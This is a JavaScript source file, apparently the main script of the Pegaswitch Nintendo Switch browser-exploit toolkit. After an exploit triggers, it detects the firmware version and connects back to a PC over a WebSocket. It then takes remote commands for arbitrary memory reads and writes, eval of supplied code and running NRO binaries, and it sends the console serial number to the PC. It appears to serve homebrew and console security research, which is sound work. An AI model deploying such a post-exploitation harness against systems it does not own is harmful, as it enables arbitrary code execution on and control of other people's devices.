text: /* eslint camelcase: "off" */
  /* eslint no-redeclare: "off" */
  /* eslint no-eval: "off" */
  /* global alert, WebSocket */
  var reservedWords = require('reserved-words');
  
  var SploitCore = require('./sploitcore');
  window.IPCMessage = require('./ipc');
  var utils = require('./utils');
  var runNro = require('./runNro');
  var config = require('../config');
  var socket;
  
  window.onerror = function (msg, url, line, col, error) {
  	if (msg === 'Out of memory') { alert(msg); }
  
  	var stack = error ? error.stack : null;
  
  	utils.send('error', [line, msg, stack]);
  	if (socket) {
  		socket.send(JSON.stringify({
  			type: 'error',
  			response: [ line, msg, stack ]
  		}));
  	}
  	// location.reload();
  };
  
  utils.log('Loaded');
  
  function handler (sc, socket) {
  	return function (event) {
  		var data = JSON.parse(event.data);
  
  		if (data.cmd === 'sp') {
  			utils.log('running getSP()...');
  			socket.send(JSON.stringify({
  				type: 'gotsp',
  				response: utils.paddr(sc.getSP())
  			}));
  		} else if (data.cmd === 'gc') {
  			utils.log('running GC');
  			sc.gc();
  			socket.send(JSON.stringify({
  				type: 'gcran'
  			}));
  		} else if (data.cmd === 'malloc') {
  			var size = parseInt(data.args[0]);
  			var addr = sc.malloc(size);
  			socket.send(JSON.stringify({
  				type: 'mallocd',
  				response: utils.paddr(addr)
  			}));
  		} else if (data.cmd === 'free') {
  			var addr = utils.parseAddr(data.args[0]);
  			sc.free(addr);
  		} else if (data.cmd === 'write4' || data.cmd === 'write8') {
  			utils.log(JSON.stringify(data));
  			var addr = utils.parseAddr(data.args[0]);
  			var value = parseInt(data.args[1]);
  			var offset = parseInt(data.args[2]) || 0;
  
  			sc[data.cmd](value, addr, offset);
  		} else if (data.cmd === 'read4' || data.cmd === 'read8') {
  			var addr = utils.parseAddr(data.args[0]);
  			var offset = parseInt(data.args[1]) || 0;
  
  			var response = sc[data.cmd](addr, offset);
  
  			socket.send(JSON.stringify({
  				type: 'rread',
  				response: response
  			}));
  		} else if (data.cmd === 'readstring') {
  			var addr = utils.parseAddr(data.args[0]);
  			var length = parseInt(data.args[1]) || 0;
  
  			socket.send(JSON.stringify({
  				type: 'rreadstring',
  				response: sc.readString(addr, length)
  			}));
  		} else if (data.cmd === 'eval') {
  			var words = Object.keys(reservedWords.KEYWORDS['6-strict']);
  			var code = data.args.join(' ');
  			var ret = true;
  			if (~code.indexOf('window.response')) {
  				ret = false;
  			}
  			for (var i = 0; i < words.length; i++) {
  				var w = words[i];
  				var s = code.substr(0, w.length);
  				if (s === w) {
  					ret = false;
  				}
  			}
  			if (ret) {
  				code = 'window.response = ' + code;
  			}
  			window.response = null;
  			eval('with (sc) { ' + code + '}');
  			socket.send(JSON.stringify({
  				type: 'evald',
  				response: window.response || 'no output'
  			}));
  		} else if (data.cmd === 'evalfile') {
  			var code = data.args[0];
  			eval('with (sc) {\n' + code + '\n}');
  			socket.send(JSON.stringify({
  				type: 'evald',
  				response: 'no output'
  			}));
  		} else if (data.cmd === 'reboot') {
  			socket.send(JSON.stringify({
  				type: 'rebooting',
  				response: 'Rebooting...'
  			}));
  			sc.ipcMsg(1).sendTo("bpc").assertOk();
  		} else if (data.cmd === 'runnro') {
  			runNro(data.args[0], data.args.slice(1));
  			socket.send(JSON.stringify({
  				type: 'rannro',
  				response: 'no output'
  			}));
  		}
  	};
  }
  
  function setupListener (sc) {
  	socket = new WebSocket('ws://' + window.location.hostname + ':8100');
  
  	var handlerFcn = handler(sc, socket);
  	socket.onmessage = (evt) => {
  		try {
  			handlerFcn(evt);
  		} catch (e) {
  			window.onerror(e.message, null, e.line, null, e);
  		}
  	};
  
  	socket.onopen = function () {
  		sc.getService("set:sys", (setcal) => {
  			socket.send(JSON.stringify({
  				type: "identification",
  				serial: sc.ipcMsg(68).sendTo(setcal).assertOk().data,
  				version: sc.version
  			}));
  		});
  		utils.log("Connected to PC...");
  	};
  
  	socket.onerror = function() {
  		utils.log("socket error, attempting to reconnect in 5 seconds...");
  		window.setTimeout(() => {
  			socket.close();
  			setupListener(sc);
  		}, 5000);
  	};
  	
  	socket.onclose = function() {
  		utils.log("socket closed, attempting to reconnect in 5 seconds...");
  		window.setTimeout(() => {
  			utils.log("attempting to reconnect...");
  			setupListener(sc);
  		}, 5000);
  	};
  }
  
  function main () {
  	// Find out firmware version
  	if (navigator.userAgent.indexOf('NF/4.0.0.4.25 ') !== -1) {
  		utils.version = 100;
  	} else if (navigator.userAgent.indexOf('NF/4.0.0.5.9 ') !== -1) {
  		utils.version = 200;
  	} else if (navigator.userAgent.indexOf('NF/4.0.0.5.10 ') !== -1) {
  		utils.version = 210;
  	} else if (navigator.userAgent.indexOf('NF/4.0.0.6.9 ') !== -1) {
  		utils.version = 300;
  	} else if (navigator.userAgent.indexOf('NF/4.0.0.7.9 ') !== -1) {
  		utils.version = 400;
  	} else if (navigator.userAgent.indexOf('NF/4.0.0.8.9 ') !== -1) {
  		utils.version = 500;
  	} else if (navigator.userAgent.indexOf('NF/4.0.0.9.3 ') !== -1) {
  		utils.version = 510;
  	} else if (navigator.userAgent.indexOf('NF/4.0.0.10.13 ') !== -1) {
  		utils.version = 600;
  	} else {
  		utils.log('Unknown firmware version detected!');
  	}
  	
  	if (window.exploitMe === null) {
  		utils.log('Exploit failed.');
  		if (window.errmsg === null) { utils.log('Unknown reason.'); } else { utils.log(window.errmsg); }
  		utils.log('~~failed');
  		window.location.reload();
  		return;
  	}
  
  	utils.log('Exploit triggered. Beginning breakage.');
  	var sc = window.sc = new SploitCore(window.exploitMe); // Keep SC in window just so the GC never even tries to wipe us out. Just for sanity.
  
  	// SDBCore is up
  	if (sc.sdb != null && config.autorun) {
  		sc.sdb.onready = function() {
  			// AutoNRO
  			utils.log("Running auto.nro");
  			var xhr = new XMLHttpRequest();
  			xhr.open('GET', '/nros/auto.nro', false);
  			xhr.send(null);
  
  			if (xhr.status === 200) {
  				var nro = new Uint8Array(JSON.parse(xhr.response)).buffer;
  				console.log(nro.length);
  				runNro(nro).then((val) => {
  					utils.log("autorun finished with " + utils.paddr(val));
  					if(utils.trunc32(val) == 0 && config.autoclose) {
  						utils.log("exiting...");
  						window.close();
  					}
  				});
  			}
  		};
  	}
  
  	utils.log('Pegaswitch loaded!');
  	utils.log('UA: ' + navigator.userAgent);
  
  	setupListener(sc);
  }
  
  try {
  	main();
  } catch (e) {
  	window.onerror(e.message, null, e.line, null, e);
  }
  